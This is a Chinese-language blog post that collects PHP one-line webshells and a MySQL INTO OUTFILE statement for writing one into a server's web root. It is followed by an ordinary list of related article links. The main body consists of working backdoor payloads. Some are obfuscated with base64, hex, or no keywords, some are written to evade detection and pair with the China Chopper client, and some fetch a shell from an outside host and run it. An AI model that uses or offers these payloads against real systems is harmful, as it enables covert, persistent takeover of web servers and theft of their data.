PHP与SQL语句写一句话木马总结


Posted in PHP onOctober 11, 2019

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:

<?php @eval($_GET["code"])?>

<?php @system($_POST["cmd"])?>

二、编码的替换的类型:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

//会生成<?php @eval($_POST['lostwolf']);?>

 

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>

//php在html内部的一种嵌入方式

 

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>

 

 

<?php

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

三、其他类型:

<?php $_GET[a]($_GET[b]);?>

//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

<?php assert($_REQUEST["pass"]);?>   //菜刀连接 躲避检测 密码pass 

<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);?>

//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 pass

四、下载类型:

<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?> 

<? echo file_get_contents("..//cfg_database.php");?> //显示某文件

<? eval ( file_get_contents("远程shell")) ?> //运行远程shell

五、无关键函数类型:

<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

六、补充知识点:

SQL写一句话(MySQL):

select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php"

#前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以

以上就是PHP一句话木马小结与SQL语句写一句话木马的详细内容,感谢大家的学习和对三水点靠木的支持。

PHP 相关文章推荐
PHP4实际应用经验篇(1)
Oct 09 PHP
PHP开发中四种查询返回结果分析
Jan 02 PHP
PHP将DateTime对象转化为友好时间显示的实现代码
Sep 20 PHP
基于curl数据采集之单页面并行采集函数get_htmls的使用
Apr 28 PHP
计算php页面运行时间的函数介绍
Jul 01 PHP
PHP 获取远程文件大小的3种解决方法
Jul 11 PHP
两个php日期控制类实例
Dec 09 PHP
ThinkPHP内置jsonRPC的缺陷分析
Dec 18 PHP
php检查字符串中是否有外链的方法
Jul 29 PHP
Yii 2.0中场景的使用教程
Jun 02 PHP
[原创]PHP实现字节数Byte转换为KB、MB、GB、TB的方法
Aug 31 PHP
Laravel框架使用Redis的方法详解
May 30 PHP
解决在Laravel 中处理OPTIONS请求的问题
Oct 11 #PHP
php生成HTML文件的类方法
Oct 11 #PHP
php报错502badgateway解决方法
Oct 11 #PHP
Laravel timestamps 设置为unix时间戳的方法
Oct 11 #PHP
laravel 时间格式转时间戳的例子
Oct 11 #PHP
PHP调用接口API封装的例子
Oct 11 #PHP
Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例
Oct 11 #PHP
You might like
一个简单的自动发送邮件系统(一)
2006/10/09 PHP
用PHP动态生成虚拟现实VRML网页
2006/10/09 PHP
PHP实现双链表删除与插入节点的方法示例
2017/11/11 PHP
Laravel6.0.4中将添加计划任务事件的方法步骤
2019/10/15 PHP
js 变量类型转换常用函数与代码[比较全]
2009/12/01 Javascript
JSON.parse 解析字符串出错的解决方法
2010/07/08 Javascript
IE6、IE7中获取Button元素的值的bug说明
2011/08/28 Javascript
js获取某月的最后一天日期的简单实例
2013/06/22 Javascript
Bootstrap每天必学之基础排版
2015/11/20 Javascript
JavaScript数组去重的两种方法推荐
2016/04/05 Javascript
jQuery插件实现文件上传功能(支持拖拽)
2020/08/27 Javascript
微信小程序 定位到当前城市实现实例代码
2017/02/23 Javascript
JQuery 选择器、DOM节点操作练习实例
2017/09/28 jQuery
nodejs 生成和导出 word的实例代码
2018/07/31 NodeJs
深入理解 JS 垃圾回收
2019/06/03 Javascript
让Vue响应Map或Set的变化操作
2020/11/11 Javascript
[02:44]重置世界,颠覆未来——DOTA2 7.23版本震撼上线
2019/12/01 DOTA
简单文件操作python 修改文件指定行的方法
2013/05/15 Python
Python的Django框架使用入门指引
2015/04/15 Python
python处理xml文件的方法小结
2017/05/02 Python
基于hashlib模块--加密(详解)
2017/06/21 Python
linux安装Python3.4.2的操作方法
2018/09/28 Python
python操作日志的封装方法(两种方法)
2019/05/23 Python
Python 给定的经纬度标注在地图上的实现方法
2019/07/05 Python
使用jupyter Nodebook查看函数或方法的参数以及使用情况
2020/04/14 Python
在keras里实现自定义上采样层
2020/06/28 Python
python利用tkinter实现图片格式转换的示例
2020/09/28 Python
Python 如何实现数据库表结构同步
2020/09/29 Python
pycharm实现猜数游戏
2020/12/07 Python
pandas实现导出数据的四种方式
2020/12/13 Python
html5 外链式实现加减乘除的代码
2019/09/04 HTML / CSS
Nili Lotan官网:Nili Lotan同名品牌
2018/01/07 全球购物
机电一体化专业应届本科生求职信
2013/09/27 职场文书
四个太阳教学反思
2014/02/01 职场文书
白酒市场营销方案
2014/02/25 职场文书
中秋节祝酒词
2015/08/12 职场文书